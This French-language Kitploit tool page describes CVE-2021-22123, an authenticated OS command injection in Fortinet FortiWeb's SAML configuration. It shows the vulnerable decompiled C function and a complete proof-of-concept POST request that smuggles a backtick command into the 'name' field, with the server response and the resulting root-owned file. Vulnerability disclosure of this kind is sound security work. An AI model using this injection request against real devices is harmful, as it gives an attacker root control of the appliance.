Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2021-22123 — [CVE-2021-22123] Fortinet FortiWeb Injection de commandes OS authentifiée | Kitploit
Outils/GitHubGitHub/murataydemir/cve-2021-22123
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionCommandement et ContrôleDéveloppement de Charges Utiles
GitHubmurataydemir/cve-2021-22123

CVE-2021-22123

[CVE-2021-22123] Fortinet FortiWeb Injection de commandes OS authentifiée

Voir le dépôt
6312il y a 5 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

[CVE-2021-22123] Injection de commandes OS authentifiée dans Fortinet FortiWeb


Hit Counter Platform Badge

La vulnérabilité d'injection de commandes dans l'interface d'administration de FortiWeb peut permettre à un attaquant distant authentifié d'exécuter des commandes arbitraires sur le système via la page de configuration du serveur SAML. L'exécution de commandes avec les privilèges maximaux se traduira par l'obtention par l'attaquant du contrôle total du serveur. Il s'agit d'une instance de CWE-78: Neutralisation incorrecte des éléments spéciaux utilisés dans une commande OS et elle a un score de base CVSSv3 de 8,7. Cette vulnérabilité porte le numéro CVE-2021-22123, qui a été traitée dans la page du laboratoire Fortiguard (FG-IR-20-120).

Globalement, SAML signifie Security Assertion Markup Language et c'est un standard ouvert basé sur XML pour transférer des données d'identité entre deux parties : un fournisseur d'identité (IdP) et un fournisseur de services (SP). Il est conçu pour garantir le fonctionnement d'un mécanisme d'authentification unique (Single Sign-On), qui vous permet d'accéder à divers logiciels à l'aide d'un identifiant unique.

FortiWeb all versions prior to 6.3.7 et versions inférieures sont vulnérables à l'injection de commandes OS authentifiée. L'exploitation réussie de cette vulnérabilité peut conduire à prendre le contrôle total de l'appareil concerné, avec les privilèges les plus élevés possibles. Ils pourraient installer un shell persistant, un logiciel de minage de cryptomonnaies ou d'autres logiciels malveillants. Dans le cas improbable où l'interface d'administration serait exposée à Internet, ils pourraient utiliser la plateforme compromise pour atteindre le réseau concerné au-delà de la DMZ.

Un attaquant, d'abord authentifié à l'interface d'administration de l'appareil FortiWeb, peut faire passer des commandes en utilisant des backticks dans le champ name de la page de configuration du serveur SAML. Ces commandes sont ensuite exécutées en tant qu'utilisateur root du système d'exploitation sous-jacent. La partie vulnérable du code est illustrée ci-dessous.

int move_metafile(char * path, char * name) {
    int iVar1;
    char buf[512];
    int nret;
    snprintf(buf, 0x200, "%s/%s", "/data/etc/saml/shibboleth/service_providers", name);
    iVar1 = access(buf, 0);
    if (iVar1 != 0) {
        snprintf(buf, 0x200, "mkdir %s/%s", "/data/etc/saml/shibboleth/service_providers", name);
        iVar1 = system(buf);
        if (iVar1 != 0) {
            return iVar1;
        }
    }
    snprintf(buf, 0x200, "cp %s %s/%s/%s.%s", path, "/data/etc/saml/shibboleth/service_providers", name,
        "Metadata", & DAT_00212758);
    iVar1 = system(buf);
    return iVar1;
}

Preuve de concept (PoC) : La requête POST suivante peut être utilisée pour exploiter cette vulnérabilité.

POST /api/v2.0/user/remoteserver.saml HTTP/1.1
Host: vulnerablehost
Cookie: redacted
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11.5; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://vulnerablehost/root/user/remote-user/saml-user/
X-Csrftoken: 814940160
Content-Type: multipart/form-data; boundary=---------------------------94351131111899571381631694412
Content-Length: 3068
Origin: https://vulnerablehost
Dnt: 1
Te: trailers
Connection: close
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="q_type"
1
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="name"
`touch /tmp/CVE-2021-22123`
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="entityID"
test
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="service-path"
/saml.sso
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="session-lifetime"
8
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="session-timeout"
30
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="sso-bind"
post
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="sso-bind_val"
1
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="sso-path"
/SAML2/POST
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="slo-bind"
post
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="slo-bind_val"
1
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="slo-path"
/SLO/POST
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="flag"
0
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="enforce-signing"
disable
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="enforce-signing_val"
0
-----------------------------94351131111899571381631694412
HTTP/1.1 500 Internal Server Error
Date: Thu, 18 Aug 2021 15:47:45 GMT
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Set-Cookie: redacted
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Content-Security-Policy: frame-ancestors 'self'
X-Content-Type-Options: nosniff
Content-Length: 20
Strict-Transport-Security: max-age=63072000
Connection: close
Content-Type: application/json

{"errcode": "-651"}

Enfin, les résultats de la commande « touch » peuvent être observés sur la ligne de commande locale de l'appareil FortiWeb

/# ls -l /tmp/CVE-2021-22123
-rw-r--r--    1 root     0                0 Aug 10 15:48 /tmp/CVE-2021-22123

Références :

  • https://www.rapid7.com/blog/post/2021/08/17/fortinet-fortiweb-os-command-injection/
  • https://www.ptsecurity.com/ww-en/about/news/positive-technologies-discovers-vulnerability-in-fortinet-firewall/
  • https://www.fortiguard.com/psirt/FG-IR-20-120
Télécharger l’outil